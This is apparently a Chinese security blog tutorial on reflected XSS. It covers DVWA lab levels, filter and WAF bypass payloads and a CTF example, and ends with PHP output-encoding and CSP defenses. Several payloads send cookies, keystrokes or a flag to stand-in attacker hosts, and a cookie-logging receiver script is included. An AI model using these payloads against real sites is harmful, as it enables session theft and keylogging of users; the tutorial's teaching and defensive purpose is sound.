当前位置:首页 > 技术 > 正文内容

反射型XSS攻防演练与绕过技巧

访客 技术 2026年7月11日 3

反射型XSS核心机制

反射型XSS的恶意载荷不会持久化存储,其攻击链路依赖于即时性的参数反射。服务端将用户可控的输入原样嵌入响应页面,浏览器解析时触发非预期脚本执行。

攻击链路拆解

构造注入载荷 → 社交工程诱导点击 → 服务端参数回显 → 渲染引擎解析执行 → 敏感信息外泄

DVWA靶场多层级突破

Low级别:零防御场景

// 漏洞代码
<?php
$visitor = $_GET['user'];
print("欢迎, " . $visitor);
?>

直接注入标准脚本标签即可触发:

http://靶机地址/vuln.php?user=<script>confirm('xss')</script>

Medium级别:黑名单绕过

// 存在缺陷的过滤逻辑
<?php
$visitor = str_replace_once('<script>', '', $_GET['user']);
echo "欢迎, " . $visitor;
?>

单次替换的防御策略存在明显盲区:

  • 嵌套双写:<scr<script>ipt> → 过滤后复原为 <script>
  • 事件驱动型标签:<img src=0 onerror=eval(atob('YWxlcnQoMSk='))>
  • 伪协议利用:<a href="javascript:alert(1)">点击</a>

High级别:正则表达式绕过

// 基于正则的过滤
<?php
$visitor = preg_replace('/<script.*?>.*?<\/script>/is', '', $_GET['user']);
echo "欢迎, " . $visitor;
?>

针对script标签的正则匹配可通过以下方式规避:

// SVG矢量图标签事件
<svg onload="location.href='//恶意域名/?c='+document.cookie">

// 利用HTML5新特性
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>

// 利用数学元素
<math><mtext onmouseover=alert(1)>Hover me</mtext></math>

实战载荷构造:Cookie窃取

攻击服务端接收脚本(receiver.php):

<?php
$stolen = $_REQUEST['token'];
file_put_contents('/var/log/xss/cookies.log', date('Y-m-d H:i:s') . ' ' . $_SERVER['REMOTE_ADDR'] . ' ' . $stolen . PHP_EOL, FILE_APPEND | LOCK_EX);
?>

客户端窃取载荷:

<img src="x" onerror="fetch('https://attacker.example.com/receiver.php?token='+btoa(document.cookie))">

键盘行为监控实现

<script>
(function(){
    const remote = 'https://attacker.example.com/keystroke';
    let buffer = '';
    
    window.addEventListener('keypress', function(evt) {
        buffer += evt.key;
        if (buffer.length >= 10) {
            navigator.sendBeacon(remote, JSON.stringify({
                data: buffer,
                page: location.href,
                timestamp: Date.now()
            }));
            buffer = '';
        }
    });
})();
</script>

编码混淆与WAF对抗

现代Web应用防火墙常对原始请求特征进行检测,多层编码可有效提升绕过成功率:

编码层级编码结果示例适用场景
URL编码%3C%73%63%72%69%70%74%3E绕过简单关键字匹配
HTML实体&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;服务端HTML解码场景
Unicode转义\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003eJavaScript上下文注入
Base64编码PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==配合eval/atob使用

复合编码示例:

// 原始载荷
alert(document.domain)

// 第一层:JS Unicode转义
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0064\u006f\u006d\u0061\u0069\u006e\u0029")

// 第二层:URL编码
%65%76%61%6c%28%22%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%5c%75%30%30%32%38%5c%75%30%30%36%34%5c%75%30%30%36%66%5c%75%30%30%36%33%5c%75%30%30%37%35%5c%75%30%30%36%64%5c%75%30%30%36%35%5c%75%30%30%36%65%5c%75%30%30%37%34%5c%75%30%30%32%65%5c%75%30%30%36%34%5c%75%30%30%36%66%5c%75%30%30%36%64%5c%75%30%30%36%31%5c%75%30%30%36%39%5c%75%30%30%36%65%5c%75%30%30%32%39%22%29

CTF典型题型解析

题目环境:

<?php
$keyword = $_GET['q'];
?>
<div class="result">
    <span>搜索关键词:</span><?php echo $keyword; ?>
</div>

解题思路:由于输出点位于HTML标签内部且未做编码,直接闭合原有标签注入事件处理器:

?q=</span><img src=x onerror=fetch('//attacker.com/?f='+localStorage.getItem('flag'))><span>

防御方案实施

输出端编码是最有效的防御手段,针对不同上下文需采用相应编码策略:

<?php
class XSSFilter {
    // HTML正文上下文
    public static function htmlContext($untrusted) {
        return htmlspecialchars($untrusted, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }
    
    // JavaScript字符串上下文
    public static function jsContext($untrusted) {
        return json_encode($untrusted, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP);
    }
    
    // URL参数上下文
    public static function urlContext($untrusted) {
        return rawurlencode($untrusted);
    }
    
    // CSS属性值上下文
    public static function cssContext($untrusted) {
        return preg_replace('/[^a-zA-Z0-9\-_]/', '', $untrusted);
    }
}

// 使用示例
$userInput = $_GET['comment'];
?>
<div class="comment"><?= XSSFilter::htmlContext($userInput) ?></div>
<script>
    var note = <?= XSSFilter::jsContext($userInput) ?>;
</script>

补充性防御措施:

  • 启用Content-Security-Policy响应头:Content-Security-Policy: default-src 'self'; script-src 'none'
  • 敏感Cookie设置HttpOnly属性,阻断JavaScript访问通道
  • 部署X-Frame-Options响应头防范点击劫持配合XSS的组合攻击

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。